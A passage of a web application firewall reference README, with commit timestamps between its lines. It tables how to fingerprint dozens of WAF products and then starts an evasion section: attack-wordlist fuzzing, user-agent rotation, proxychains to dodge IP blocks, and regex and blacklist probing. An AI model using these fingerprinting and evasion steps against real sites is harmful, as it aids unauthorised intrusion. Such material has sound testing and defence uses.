2019-05-22 12:42:18 +07:00
SafeDog
2019-01-30 11:09:05 +07:00
< / td >
< td >
< ul >
< li > < b > Detectability: < / b > Easy/Moderate< / li >
< li > < b > Detection Methodology:< / b > < / li >
< ul >
2019-05-22 13:57:46 +07:00
< li > < code > Server< / code > header in response may contain:< / li >
2019-01-30 11:09:05 +07:00
< ul >
< li > < code > WAF/2.0< / code > keyword.< / li >
< li > < code > safedog< / code > field value.< / li >
< / ul >
< / ul >
< / ul >
< / td >
< / tr >
2019-10-04 14:16:58 +07:00
< tr >
< td >
SecKing
< / td >
< td >
< ul >
< li > < b > Detectability: < / b > Easy/Moderate< / li >
< li > < b > Detection Methodology:< / b > < / li >
< ul >
< li > < code > Server< / code > header in response may contain:< / li >
< ul >
< li > < code > SECKINGWAF< / code > keyword.< / li >
< li > < code > SECKING/{version}< / code > field value.< / li >
< / ul >
< / ul >
< / ul >
< / td >
< / tr >
< tr >
< td >
SecuPress
< / td >
< td >
< ul >
< li > < b > Detectability: < / b > Easy< / li >
< li > < b > Detection Methodology:< / b > < / li >
< ul >
< li > Response content may contain:< / li >
< ul >
< li > < code > SecuPress< / code > as text.< / li >
< li > < code > Block ID: Bad URL Contents< / code > as text.< / li >
< / ul >
< li > Response code returned is < code > 503 Service Unavailable< / code > .< / li >
< / ul >
< / ul >
< / td >
< / tr >
2019-03-19 12:29:20 +07:00
< tr >
< td >
2019-05-22 12:42:18 +07:00
Secure Entry
2019-03-19 12:29:20 +07:00
< / td >
< td >
< ul >
< li > < b > Detectability: < / b > Easy< / li >
< li > < b > Detection Methodology:< / b > < / li >
< ul >
< li > < code > Server< / code > header contains value set to < code > Secure Entry Server< / code > .< / li >
< / ul >
< / ul >
< / td >
< / tr >
2019-01-30 11:09:05 +07:00
< tr >
< td >
2019-10-04 14:16:58 +07:00
SecureIIS
2019-01-30 11:09:05 +07:00
< / td >
< td >
< ul >
< li > < b > Detectability: < / b > Easy< / li >
< li > < b > Detection Methodology:< / b > < / li >
< ul >
2019-02-22 20:27:56 +07:00
< li > Response page contains either of the following text snippet:< / li >
2019-01-30 11:09:05 +07:00
< ul >
2019-03-19 13:03:49 +07:00
< li > Image displaying < code > beyondtrust< / code > logo.< / li >
2019-04-02 22:09:40 +07:00
< li > < code > Download SecureIIS Personal Edition< / code > < / li >
2019-01-30 11:09:05 +07:00
< li > Reference to < code > http://www.eeye.com/SecureIIS/< / code > URL.< / li >
2019-03-06 20:08:11 +07:00
< li > < code > SecureIIS Error< / code > text snippet.< / li >
2019-01-30 11:09:05 +07:00
< / ul >
< / ul >
< / ul >
< / td >
< / tr >
2019-03-19 13:03:49 +07:00
< tr >
< td >
2019-10-04 14:16:58 +07:00
SecureSphere
2019-03-19 13:03:49 +07:00
< / td >
< td >
< ul >
< li > < b > Detectability: < / b > Difficult< / li >
< li > < b > Detection Methodology:< / b > < / li >
< ul >
2019-03-29 11:05:20 +07:00
< li > Response page contains the following text snippet:< / li >
2019-03-19 13:03:49 +07:00
< ul >
< li > Error in < code > h2< / code > text.< / li >
2019-03-29 11:05:20 +07:00
< li > Title contains only text as < code > Error< / code > .< / li >
2019-03-19 13:03:49 +07:00
< li > < code > Contact support for additional information.< / code > text.< / li >
< / ul >
< / ul >
< / ul >
< / td >
< / tr >
2019-01-30 11:09:05 +07:00
< tr >
< td >
2019-10-04 14:16:58 +07:00
SEnginx
2019-01-30 11:09:05 +07:00
< / td >
< td >
< ul >
< li > < b > Detectability: < / b > Easy< / li >
< li > < b > Detection Methodology:< / b > < / li >
< ul >
< li > Blocked response page contains < code > SENGINX-ROBOT-MITIGATION< / code > keyword.< / li >
< / ul >
< / ul >
< / td >
< / tr >
2019-03-02 20:40:08 +07:00
< tr >
< td >
2019-10-04 14:16:58 +07:00
ServerDefender VP
< / td >
< td >
< ul >
< li > < b > Detectability: < / b > Easy< / li >
< li > < b > Detection Methodology:< / b > < / li >
< ul >
< li > Blocked response contains < code > X-Pint< / code > header field with < code > p80< / code > keyword.< / li >
< / ul >
< / ul >
< / td >
< / tr >
< tr >
< td >
Shadow Daemon
2019-03-02 20:40:08 +07:00
< / td >
< td >
< ul >
< li > < b > Detectability: < / b > Difficult< / li >
< li > < b > Detection Methodology:< / b > < / li >
< ul >
< li > Blocked response page contains < code > request forbidden by administrative rules.< / code > keyword.< / li >
< / ul >
< / ul >
< / td >
< / tr >
2019-02-07 19:54:28 +07:00
< tr >
< td >
ShieldSecurity
< / td >
< td >
< ul >
< li > < b > Detectability: < / b > Difficult< / li >
< li > < b > Detection Methodology:< / b > < / li >
< ul >
2019-03-19 13:03:49 +07:00
< li > Blocked response page contains:
< ul >
< li > < code > You were blocked by the Shield.< / code > text.< / li >
< li > < code > Something in the URL, Form or Cookie data wasn't appropriate< / code > text snippet.< / li >
< li > < code > Warning: You have {number} remaining transgression(s) against this site< / code > .< / li >
< li > < code > Seriously stop repeating what you are doing or you will be locked out< / code > .< / li >
< / ul >
2019-02-07 19:54:28 +07:00
< / ul >
< / ul >
< / td >
< / tr >
2019-02-11 20:52:49 +07:00
< tr >
< td >
2019-05-22 12:42:18 +07:00
SiteGround
2019-02-11 20:52:49 +07:00
< / td >
< td >
< ul >
< li > < b > Detectability: < / b > Difficult< / li >
< li > < b > Detection Methodology:< / b > < / li >
< ul >
2019-02-22 20:27:56 +07:00
< li > Blocked response page contains< br > < code > The page you are trying to access is restricted due to a security rule< / code > text snippet.< / li >
2019-02-11 20:52:49 +07:00
< / ul >
< / ul >
< / td >
< / tr >
< tr >
< td >
SiteGuard (JP Secure)
< / td >
< td >
< ul >
< li > < b > Detectability: < / b > Difficult< / li >
< li > < b > Detection Methodology:< / b > < / li >
< ul >
< li > Response page contains:
< ul >
2019-02-22 20:27:56 +07:00
< li > < code > Powered by SiteGuard< / code > text snippet.< / li >
< li > < code > The server refuse to browse the page.< / code > text snippet.< / li >
2019-03-19 13:03:49 +07:00
< li > < code > The URL may not be correct. Please confirm the value.< / code > < / li >
2019-02-11 20:52:49 +07:00
< / ul >
< / ul >
< / ul >
< / td >
< / tr >
2019-01-30 11:09:05 +07:00
< tr >
< td >
SiteLock TrueShield
< / td >
< td >
< ul >
< li > < b > Detectability: < / b > Easy< / li >
< li > < b > Detection Methodology:< / b > < / li >
< ul >
< li > Blocked response page source contains the following:< / li >
< ul >
2019-03-19 13:03:49 +07:00
< li > Reference to < code > www.sitelock.com< / code > URL.< / li >
< li > < code > Sitelock is leader in Business Website Security Services.< / code > text.< / li >
2019-01-30 11:09:05 +07:00
< li > < code > sitelock-site-verification< / code > keyword.< / li >
< li > < code > sitelock_shield_logo< / code > image.< / li >
< / ul >
< / ul >
< / ul >
< / td >
< / tr >
< tr >
< td >
2019-10-04 14:16:58 +07:00
SonicWall
2019-01-30 11:09:05 +07:00
< / td >
< td >
< ul >
< li > < b > Detectability: < / b > Easy< / li >
< li > < b > Detection Methodology:< / b > < / li >
< ul >
2019-03-19 13:03:49 +07:00
< li > < code > Server< / code > header contain < code > SonicWALL< / code > keyword value.< / li >
2019-02-22 20:27:56 +07:00
< li > Blocked response page contains either of the following text snippet:< / li >
2019-01-30 11:09:05 +07:00
< ul >
2019-03-19 13:03:49 +07:00
< li > Image displaying < code > Dell< / code > logo.< / li >
2019-01-30 11:09:05 +07:00
< li > < code > This request is blocked by the SonicWALL.< / code > < / li >
2019-02-22 20:27:56 +07:00
< li > < code > Web Site Blocked< / code > text snippet.< / li >
2019-05-22 13:57:46 +07:00
< li > < code > nsa_banner< / code > as keyword. :p< / li >
2019-01-30 11:09:05 +07:00
< / ul >
< / ul >
< / ul >
< / td >
< / tr >
< tr >
< td >
2019-05-22 12:42:18 +07:00
Sophos UTM
2019-01-30 11:09:05 +07:00
< / td >
< td >
< ul >
< li > < b > Detectability: < / b > Easy< / li >
< li > < b > Detection Methodology:< / b > < / li >
< ul >
< li > Blocked response page contains < code > Powered by UTM Web Protection< / code > keyword.< / li >
< / ul >
< / ul >
< / td >
< / tr >
2019-02-11 20:52:49 +07:00
< tr >
< td >
2019-05-22 12:42:18 +07:00
SquareSpace
2019-02-11 20:52:49 +07:00
< / td >
< td >
< ul >
< li > < b > Detectability: < / b > Difficult< / li >
< li > < b > Detection Methodology:< / b > < / li >
< ul >
< li > Response code returned is < code > 404 Not Found< / code > upon malicious requests.< / li >
2019-02-22 20:27:56 +07:00
< li > Blocked response page contains either of the following text snippet:< / li >
2019-02-11 20:52:49 +07:00
< ul >
< li > < code > BRICK-50< / code > keyword.< / li >
2019-02-22 20:27:56 +07:00
< li > < code > 404 Not Found< / code > text snippet.< / li >
2019-02-11 20:52:49 +07:00
< / ul >
< / ul >
< / ul >
< / td >
< / tr >
< tr >
< td >
2019-10-04 14:16:58 +07:00
SquidProxy IDS
< / td >
< td >
< ul >
< li > < b > Detectability: < / b > Easy< / li >
< li > < b > Detection Methodology:< / b > < / li >
< ul >
< li > < code > Server< / code > header contains field value < code > squid/{version}< / code > .< / li >
< li > Blocked response page contains< br > < code > Access control configuration prevents your request from being allowed at this time.< / code > .< / li >
< / ul >
< / ul >
< / td >
< / tr >
< tr >
< td >
StackPath
2019-02-11 20:52:49 +07:00
< / td >
< td >
< ul >
2019-03-19 13:03:49 +07:00
< li > < b > Detectability: < / b > Easy< / li >
2019-02-11 20:52:49 +07:00
< li > < b > Detection Methodology:< / b > < / li >
< ul >
2019-03-19 13:03:49 +07:00
< li > Contains image displaying < code > StackPath< / code > logo.< / li >
2019-02-11 20:52:49 +07:00
< li > Blocked response page contains< br > < code > You performed an action that triggered the service and blocked your request< / code > .< / li >
< / ul >
< / ul >
< / td >
< / tr >
2019-01-30 11:09:05 +07:00
< tr >
< td >
2019-10-04 14:16:58 +07:00
Stingray
2019-01-30 11:09:05 +07:00
< / td >
< td >
< ul >
< li > < b > Detectability: < / b > Difficult< / li >
< li > < b > Detection Methodology:< / b > < / li >
< ul >
< li > Blocked response code returns < code > 403 Forbidden< / code > or < code > 500 Internal Error< / code > .< / li >
< li > Response headers contain the < code > X-Mapping< / code > header field name.< / li >
< / ul >
< / ul >
< / td >
< / tr >
< tr >
< td >
Sucuri CloudProxy
< / td >
< td >
< ul >
< li > < b > Detectability: < / b > Easy< / li >
< li > < b > Detection Methodology:< / b > < / li >
< ul >
2019-02-27 14:58:29 +07:00
< li > Response headers may contain < code > Sucuri< / code > or < code > Cloudproxy< / code > keywords.< / li >
2019-02-22 20:27:56 +07:00
< li > Blocked response page contains the following text snippet:< / li >
2019-01-30 11:09:05 +07:00
< ul >
2019-04-02 22:09:40 +07:00
< li > < code > Access Denied - Sucuri Website Firewall< / code > text.< / li >
< li > Reference to < code > https://sucuri.net/privacy-policy< / code > URL.< / li >
< li > Sometimes the email < code > cloudproxy@sucuri.net< / code > .< / li >
< li > Contains copyright notice < code > ;copy {year} Sucuri Inc< / code > .< / li >
2019-01-30 11:09:05 +07:00
< / ul >
2019-03-27 12:15:58 +07:00
< li > Response headers contains < code > X-Sucuri-ID< / code > header along with normal requests.< / li >
2019-01-30 11:09:05 +07:00
< / ul >
< / ul >
< / td >
< / tr >
2019-03-29 11:05:20 +07:00
< tr >
< td >
2019-10-04 14:16:58 +07:00
Synology Cloud
2019-03-29 11:05:20 +07:00
< / td >
< td >
< ul >
< li > < b > Detectability: < / b > Easy< / li >
< li > < b > Detection Methodology:< / b > < / li >
< ul >
< li > Blocked response page has < code > Copyright (c) 2019 Synology Inc. All rights reserved.< / code > as text.< / li >
< / ul >
< / ul >
< / td >
< / tr >
2019-01-30 11:09:05 +07:00
< tr >
< td >
2019-10-04 14:16:58 +07:00
Tencent Cloud
2019-01-30 11:09:05 +07:00
< / td >
< td >
< ul >
< li > < b > Detectability: < / b > Moderate< / li >
< li > < b > Detection Methodology:< / b > < / li >
< ul >
< li > Blocked response code returns < code > 405 Method Not Allowed< / code > error.< / li >
< li > Blocked response page contains reference to < code > waf.tencent-cloud.com< / code > URL.< / li >
< / ul >
< / ul >
< / td >
< / tr >
2019-03-06 20:08:11 +07:00
< tr >
< td >
2019-10-04 14:16:58 +07:00
Teros
2019-03-06 20:08:11 +07:00
< / td >
< td >
< ul >
< li > < b > Detectability: < / b > Difficult< / li >
< li > < b > Detection Methodology:< / b > < / li >
< ul >
< li > Response headers contain cookie field < code > st8id< / code > .< / li >
< / ul >
< / ul >
< / td >
< / tr >
2019-01-30 11:09:05 +07:00
< tr >
< td >
2019-10-04 14:16:58 +07:00
TrafficShield
2019-01-30 11:09:05 +07:00
< / td >
< td >
< ul >
< li > < b > Detectability: < / b > Moderate< / li >
< li > < b > Detection Methodology:< / b > < / li >
< ul >
2019-03-29 11:05:20 +07:00
< li > < code > Server< / code > might contain < code > F5-TrafficShield< / code > keyword.< / li >
< li > < code > ASINFO=< / code > value might be detected in response cookies.< / li >
2019-01-30 11:09:05 +07:00
< / ul >
< / ul >
< / td >
< / tr >
2019-04-08 19:25:43 +07:00
< tr >
< td >
2019-05-22 12:42:18 +07:00
TransIP
2019-04-08 19:25:43 +07:00
< / td >
< td >
< ul >
< li > < b > Detectability: < / b > Easy< / li >
< li > < b > Detection Methodology:< / b > < / li >
< ul >
< li > Response headers contain unique header < code > X-TransIP-Backend< / code > .< / li >
< li > Response headers contain another header < code > X-TransIP-Balancer< / code > .< / li >
< / ul >
< / ul >
< / td >
< / tr >
2019-02-11 20:52:49 +07:00
< tr >
< td >
2019-10-04 14:16:58 +07:00
UCloud UEWaf
< / td >
< td >
< ul >
< li > < b > Detectability: < / b > Easy< / li >
< li > < b > Detection Methodology:< / b > < / li >
< ul >
< li > Response content might contain:
< ul >
< li > Reference to < code > /uewaf_deny_pages/default/img/< / code > inurl directory.< / li >
< li > < code > ucloud.cn< / code > URL.< / li >
< / ul >
< li > Response headers returned has < code > Server< / code > header set to < code > uewaf/{version}< / code > .< / li >
< / ul >
< / ul >
< / td >
< / tr >
< tr >
< td >
URLMaster SecurityCheck
2019-02-11 20:52:49 +07:00
< / td >
< td >
< ul >
< li > < b > Detectability: < / b > Moderate< / li >
< li > < b > Detection Methodology:< / b > < / li >
< ul >
< li > Response headers might contain:
< ul >
< li > < code > UrlMaster< / code > keyword.< / li >
< li > < code > UrlRewriteModule< / code > keyword.< / li >
< li > < code > SecurityCheck< / code > keyword.< / li >
< / ul >
2019-02-22 20:27:56 +07:00
< li > Blocked response code returned is < code > 400 Bad Request< / code > text snippet.< / li >
2019-02-11 20:52:49 +07:00
< / ul >
< / ul >
< / td >
< / tr >
2019-01-30 11:09:05 +07:00
< tr >
< td >
2019-10-04 14:16:58 +07:00
URLScan
2019-01-30 11:09:05 +07:00
< / td >
< td >
< ul >
< li > < b > Detectability: < / b > Moderate< / li >
< li > < b > Detection Methodology:< / b > < / li >
< ul >
2019-03-19 13:03:49 +07:00
< li > < / li >
< li > Blocked response page contains:< / li >
< ul >
< li > < code > Rejected-by-URLScan< / code > text snippet.< / li >
< li > < code > Server Erro in Application< / code > as heading.< / li >
< li > < code > Module: IIS Web Core< / code > in table.< / li >
< / ul >
2019-01-30 11:09:05 +07:00
< / ul >
< / ul >
< / td >
< / tr >
< tr >
< td >
USP Secure Entry
< / td >
< td >
< ul >
< li > < b > Detectability: < / b > Moderate< / li >
< li > < b > Detection Methodology:< / b > < / li >
< ul >
< li > Response headers contain < code > Secure Entry Server< / code > field value.< / li >
< / ul >
< / ul >
< / td >
< / tr >
< tr >
< td >
Varnish (OWASP)
< / td >
< td >
< ul >
< li > < b > Detectability: < / b > Easy< / li >
< li > < b > Detection Methodology:< / b > < / li >
< ul >
< li > Malicious request returns < code > 404 Not Found< / code > Error.< / li >
2019-03-19 13:03:49 +07:00
< li > Response page contains:< / li >
< ul >
< li > < code > Request rejected by xVarnish-WAF< / code > text snippet.< / li >
< / ul >
2019-01-30 11:09:05 +07:00
< / ul >
< / ul >
< / td >
< / tr >
2019-03-19 13:52:21 +07:00
< tr >
< td >
2019-10-04 14:16:58 +07:00
Varnish CacheWall
2019-03-19 13:52:21 +07:00
< / td >
< td >
< ul >
< li > < b > Detectability: < / b > Easy< / li >
< li > < b > Detection Methodology:< / b > < / li >
< ul >
< li > Response page contains:< / li >
< ul >
< li > < code > Error 403 Naughty, not Nice!< / code > as heading.< / li >
< li > < code > Varnish cache Server< / code > as text.< / li >
< / ul >
< / ul >
< / ul >
< / td >
< / tr >
2019-07-15 17:17:34 +07:00
< tr >
< td >
Viettel
< / td >
< td >
< ul >
< li > < b > Detectability: < / b > Easy< / li >
< li > < b > Detection Methodology:< / b > < / li >
< ul >
< li > Response page contains:< / li >
< ul >
< li > Block page has title set to < code > Access denied · Viettel WAF< / code > .< / li >
< li > Reference to < code > https://cloudrity.com.vn/< / code > URL.< / li >
< li > Response page contains keywords < code > Viettel WAF system< / code > .< / li >
< li > Contact information reference to < code > https://cloudrity.com.vn/customer/#/contact< / code > URL.< / li >
< / ul >
< / ul >
< / ul >
< / td >
< / tr >
2019-02-07 19:54:28 +07:00
< tr >
< td >
2019-05-22 12:42:18 +07:00
VirusDie
2019-02-07 19:54:28 +07:00
< / td >
< td >
< ul >
< li > < b > Detectability: < / b > Easy< / li >
< li > < b > Detection Methodology:< / b > < / li >
< ul >
< li > Response page contains:< / li >
< ul >
< li > < code > http://cdn.virusdie.ru/splash/firewallstop.png< / code > picture.< / li >
2019-02-27 14:58:29 +07:00
< li > < code > copy; Virusdie.ru< / p > < / code > copyright notice.< / li >
2019-02-07 19:54:28 +07:00
< li > Response page title contains < code > Virusdie< / code > keyword.< / li >
< li > Page metadata contains < code > name="FW_BLOCK"< / code > keyword< / li >
< / ul >
< / ul >
< / ul >
< / td >
< / tr >
2019-01-30 11:09:05 +07:00
< tr >
< td >
2019-10-04 14:16:58 +07:00
WallArm
2019-01-30 11:09:05 +07:00
< / td >
< td >
< ul >
< li > < b > Detectability: < / b > Moderate< / li >
< li > < b > Detection Methodology:< / b > < / li >
< ul >
2019-03-19 13:03:49 +07:00
< li > < code > Server< / code > headers contain < code > nginx-wallarm< / code > value.< / li >
2019-01-30 11:09:05 +07:00
< / ul >
< / ul >
< / td >
< / tr >
< tr >
< td >
2019-03-19 13:03:49 +07:00
WatchGuard IPS
2019-01-30 11:09:05 +07:00
< / td >
< td >
< ul >
2019-03-19 13:03:49 +07:00
< li > < b > Detectability: < / b > Easy< / li >
2019-01-30 11:09:05 +07:00
< li > < b > Detection Methodology:< / b > < / li >
< ul >
2019-04-06 13:02:46 +07:00
< li > < code > Server< / code > headers may contain < code > WatchGuard< / code > field value.< / li >
2019-03-19 13:03:49 +07:00
< li > Blocked response page contains: < / li >
< ul >
< li > < code > Request denied by WatchGuard Firewall< / code > text.< / li >
< li > < code > WatchGuard Technologies Inc.< / code > as footer.< / li >
< / ul >
2019-01-30 11:09:05 +07:00
< / ul >
< / ul >
< / td >
< / tr >
2019-03-19 13:15:40 +07:00
< tr >
< td >
2019-10-04 14:16:58 +07:00
WebARX Security
2019-03-19 13:15:40 +07:00
< / td >
< td >
< ul >
< li > < b > Detectability: < / b > Easy< / li >
< li > < b > Detection Methodology:< / b > < / li >
< ul >
< li > Restricted to specifically WordPress sites only.< / li >
< li > Blocked response page contains: < / li >
< ul >
< li > < code > This request has been blocked by WebARX Web Application Firewall< / code > text.< / li >
< li > Reference to < code > /wp-content/plugins/webarx/< / code > directory where it is installed.< / li >
< / ul >
< / ul >
< / ul >
< / td >
< / tr >
2019-01-30 11:09:05 +07:00
< tr >
< td >
2019-10-04 14:16:58 +07:00
WebKnight
2019-01-30 11:09:05 +07:00
< / td >
< td >
< ul >
< li > < b > Detectability: < / b > Easy< / li >
< li > < b > Detection Methodology:< / b > < / li >
< ul >
< li > Response headers contain < code > WebKnight< / code > keyword.< / li >
< li > Blocked response page contains:< / li >
< ul >
< li > < code > WebKnight Application Firewall Alert< / code > text warning.< / li >
2019-02-22 20:27:56 +07:00
< li > < code > AQTRONIX WebKnight< / code > text snippet.< / li >
2019-01-30 11:09:05 +07:00
< / ul >
< li > Blocked response code returned is < code > 999 No Hacking< / code > . :p< / li >
2019-04-14 18:59:01 +07:00
< li > Blocked response code returned is also < code > 404 Hack Not Found< / code > . :p< / li >
2019-01-30 11:09:05 +07:00
< / ul >
< / ul >
< / td >
< / tr >
2019-04-14 18:59:01 +07:00
< tr >
< td >
2019-10-04 14:16:58 +07:00
WebLand
< / td >
< td >
< ul >
< li > < b > Detectability: < / b > Easy< / li >
< li > < b > Detection Methodology:< / b > < / li >
< ul >
< li > < code > Server< / code > header contains < code > Apache Protected By WebLand WAF< / code > keyword.< / li >
< / ul >
< / ul >
< / td >
< / tr >
< tr >
< td >
WebRay
< / td >
< td >
< ul >
< li > < b > Detectability: < / b > Easy< / li >
< li > < b > Detection Methodology:< / b > < / li >
< ul >
< li > < code > Server< / code > header contains < code > WebRay-WAF< / code > keyword.< / li >
< li > Response headers may have < code > DrivedBy< / code > field with value < code > RaySrv RayEng/{version}< / code > .< / li >
< / ul >
< / ul >
< / td >
< / tr >
< tr >
< td >
WebSEAL
2019-04-14 18:59:01 +07:00
< / td >
< td >
< ul >
< li > < b > Detectability: < / b > Easy< / li >
< li > < b > Detection Methodology:< / b > < / li >
< ul >
< li > < code > Server< / code > header contain < code > WebSEAL< / code > keyword.< / li >
< li > Blocked response page contains:< / li >
< ul >
< li > < code > This is a WebSEAL error message template file< / code > text.< / li >
< li > < code > WebSEAL server received an invalid HTTP request< / code > text snippet.< / li >
< / ul >
< / ul >
< / ul >
< / td >
< / tr >
< tr >
< td >
2019-10-04 14:16:58 +07:00
WebTotem
2019-04-14 18:59:01 +07:00
< / td >
< td >
< ul >
< li > < b > Detectability: < / b > Easy< / li >
< li > < b > Detection Methodology:< / b > < / li >
< ul >
< li > Blocked response page contains < code > The current request was blocked by WebTotem< / code > .< / li >
< / ul >
< / ul >
< / td >
< / tr >
2019-03-06 20:08:11 +07:00
< tr >
< td >
2019-10-04 14:16:58 +07:00
West263CDN
2019-03-06 20:08:11 +07:00
< / td >
< td >
< ul >
< li > < b > Detectability: < / b > Easy< / li >
< li > < b > Detection Methodology:< / b > < / li >
< ul >
< li > Response headers contain < code > X-Cache< / code > header field with < code > WT263CDN< / code > value.< / li >
< / ul >
< / ul >
< / td >
< / tr >
2019-02-27 14:58:29 +07:00
< tr >
< td >
2019-10-04 14:16:58 +07:00
Wordfence
2019-02-27 14:58:29 +07:00
< / td >
< td >
< ul >
< li > < b > Detectability: < / b > Easy< / li >
< li > < b > Detection Methodology:< / b > < / li >
< ul >
< li > Response headers contain < code > WebKnight< / code > keyword.< / li >
< li > Blocked response page contains:< / li >
< ul >
< li > < code > Generated by Wordfence< / code > text snippet.< / li >
< li > < code > A potentially unsafe operation has been detected in your request to this site< / code > text warning.< / li >
< li > < code > Your access to this site has been limited< / code > text warning.< / li >
< li > < code > This response was generated by Wordfence< / code > text snippet.< / li >
< / ul >
< / ul >
< / ul >
< / td >
< / tr >
2019-03-19 13:15:40 +07:00
< tr >
< td >
2019-10-04 14:16:58 +07:00
WTS-WAF
2019-03-19 13:15:40 +07:00
< / td >
< td >
< ul >
< li > < b > Detectability: < / b > Easy< / li >
< li > < b > Detection Methodology:< / b > < / li >
< ul >
< li > Blocked response page title has < code > WTS-WAF< / code > keyword.< / li >
< li > < code > Server< / code > header contains < code > wts< / code > as value.< / li >
< / ul >
< / ul >
< / td >
< / tr >
2019-03-06 20:08:11 +07:00
< tr >
< td >
XLabs Security WAF
< / td >
< td >
< ul >
< li > < b > Detectability: < / b > Easy< / li >
< li > < b > Detection Methodology:< / b > < / li >
< ul >
< li > Response headers contain < code > X-CDN< / code > header field with < code > XLabs Security< / code > value.< / li >
< / ul >
< / ul >
< / td >
< / tr >
2019-03-02 20:40:08 +07:00
< tr >
< td >
Xuanwudun WAF
< / td >
< td >
< ul >
< li > < b > Detectability: < / b > Easy< / li >
< li > < b > Detection Methodology:< / b > < / li >
< ul >
< li > Blocked response page contains reference to < code > http://admin.dbappwaf.cn/index.php/Admin/ClientMisinform/< / code > site URL.< / li >
< / ul >
< / ul >
< / td >
< / tr >
2019-05-22 12:48:52 +07:00
< tr >
< td >
Yunaq Chuangyu
< / td >
< td >
< ul >
< li > < b > Detectability: < / b > Moderate< / li >
< li > < b > Detection Methodology:< / b > < / li >
< ul >
< li > Response page has reference to:
< ul >
< li > < code > 365cyd.com< / code > or < code > 365cyd.net< / code > URL.< / li >
< li > Reference to help page at < code > http://help.365cyd.com/cyd-error-help.html?code=403< / code > .< / li >
< / ul >
< / li >
< / ul >
< / ul >
< / td >
< / tr >
2019-01-30 11:09:05 +07:00
< tr >
< td >
2019-05-22 12:42:18 +07:00
Yundun
2019-01-30 11:09:05 +07:00
< / td >
< td >
< ul >
2019-03-19 13:15:40 +07:00
< li > < b > Detectability: < / b > Easy< / li >
2019-01-30 11:09:05 +07:00
< li > < b > Detection Methodology:< / b > < / li >
< ul >
2019-03-19 13:15:40 +07:00
< li > < code > Server< / code > header contains < code > YUNDUN< / code > as value.< / li >
< li > < code > X-Cache< / code > header field contains < code > YUNDUN< / code > as value.< / li >
< li > Response page contains < code > Blocked by YUNDUN Cloud WAF< / code > text snippet.< / li >
2019-04-15 19:12:38 +07:00
< li > Blocked response page contains reference to < code > yundun.com/yd_http_error/< / code > URL.< / li >
2019-01-30 11:09:05 +07:00
< / ul >
< / ul >
< / td >
< / tr >
< tr >
< td >
2019-05-22 12:42:18 +07:00
Yunsuo
2019-01-30 11:09:05 +07:00
< / td >
< td >
< ul >
< li > < b > Detectability: < / b > Easy< / li >
< li > < b > Detection Methodology:< / b > < / li >
< ul >
2019-04-15 19:12:38 +07:00
< li > Blocked response page contains image class reference to < code > yunsuologo< / code > .< / li >
2019-01-30 11:09:05 +07:00
< li > Response headers contain the < code > yunsuo_session< / code > field name.< / li >
< / ul >
< / ul >
< / td >
< / tr >
2019-10-04 14:16:58 +07:00
< tr >
< td >
YxLink
< / td >
< td >
< ul >
< li > < b > Detectability: < / b > Easy< / li >
< li > < b > Detection Methodology:< / b > < / li >
< ul >
< li > Response might have < code > yx_ci_session< / code > cookie field.< / li >
< li > Response might have < code > yx_language< / code > cookie field.< / li >
< li > < code > Server< / code > header contains < code > Yxlink-WAF< / code > field value.< / li >
< / ul >
< / ul >
< / td >
< / tr >
2019-02-06 20:03:23 +07:00
< tr >
< td >
2019-05-22 12:42:18 +07:00
ZenEdge
2019-02-06 20:03:23 +07:00
< / td >
< td >
< ul >
< li > < b > Detectability: < / b > Easy< / li >
< li > < b > Detection Methodology:< / b > < / li >
< ul >
2019-04-15 19:12:38 +07:00
< li > Blocked response page contains reference to < code > /__zenedge/assets/< / code > directory.< / li >
2019-03-19 13:15:40 +07:00
< li > < code > Server< / code > header contain < code > ZENEDGE< / code > keyword.< / li >
2019-03-27 12:15:58 +07:00
< li > Blocked response headers may contain < code > X-Zen-Fury< / code > header.< / li >
2019-02-06 20:03:23 +07:00
< / ul >
< / ul >
< / td >
< / tr >
2019-03-02 20:40:08 +07:00
< tr >
< td >
2019-10-04 14:16:58 +07:00
ZScaler
2019-03-02 20:40:08 +07:00
< / td >
< td >
< ul >
< li > < b > Detectability: < / b > Easy< / li >
< li > < b > Detection Methodology:< / b > < / li >
< ul >
< li > < code > Server< / code > header has value set to < code > ZScaler< / code > .< / li >
2019-03-06 20:08:11 +07:00
< li > Blocked response page contains:
< ul >
< li > < code > Access Denied: Accenture Policy< / code > text.< / li >
< li > Reference to < code > https://policies.accenture.com< / code > URL.< / li >
< li > Reference to image at < code > https://login.zscloud.net/img_logo_new1.png< / code > .< / li >
< li > < code > Your organization has selected Zscaler to protect you from internet threats< / code > .< / li >
< li > < code > The Internet site you have attempted to access is prohibited. Accenture's webfilters indicate that the site likely contains content considered inappropriate< / code > .< / li >
< / ul >
< / li >
2019-03-02 20:40:08 +07:00
< / ul >
< / ul >
< / td >
< / tr >
2019-01-28 19:55:38 +07:00
< / table >
2019-02-26 11:00:34 +07:00
## Evasion Techniques
2019-01-26 14:37:22 +07:00
Lets look at some methods of bypassing and evading WAFs.
2019-02-20 03:18:48 +07:00
### Fuzzing/Bruteforcing:
#### Method:
2019-02-06 20:03:23 +07:00
Running a set of payloads against the URL/endpoint. Some nice fuzzing wordlists:
2019-02-20 03:18:48 +07:00
- Wordlists specifically for fuzzing
- [Seclists/Fuzzing ](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing ).
- [Fuzz-DB/Attack ](https://github.com/fuzzdb-project/fuzzdb/tree/master/attack )
2019-02-26 13:44:18 +07:00
- [Other Payloads ](https://github.com/foospidy/payloads )
2019-02-06 20:03:23 +07:00
2019-02-20 03:18:48 +07:00
#### Technique:
2019-02-26 11:00:34 +07:00
- Load up your wordlist into fuzzer and start the bruteforce.
2019-02-06 20:03:23 +07:00
- Record/log all responses from the different payloads fuzzed.
- Use random user-agents, ranging from Chrome Desktop to iPhone browser.
2019-02-26 11:00:34 +07:00
- If blocking noticed, increase fuzz latency (eg. 2-4 secs).
2019-02-26 13:44:18 +07:00
- Always use proxychains, since chances are real that your IP gets blocked.
2019-02-06 20:03:23 +07:00
2019-02-20 03:18:48 +07:00
#### Drawbacks:
2019-02-06 20:03:23 +07:00
- This method often fails.
- Many a times your IP will be blocked (temporarily/permanently).
2019-06-21 22:33:01 +07:00
### Regex Reversing:
2019-02-20 03:18:48 +07:00
#### Method:
2019-02-06 20:03:23 +07:00
- Most efficient method of bypassing WAFs.
- Some WAFs rely upon matching the attack payloads with the signatures in their databases.
- Payload matches the reg-ex the WAF triggers alarm.
2019-02-20 03:18:48 +07:00
#### Techniques:
2019-02-06 20:03:23 +07:00
2019-06-21 22:33:01 +07:00
### Blacklisting Detection/Bypass
- In this method we try to fingerprint the rules step by step by observing the keywords being blacklisted.
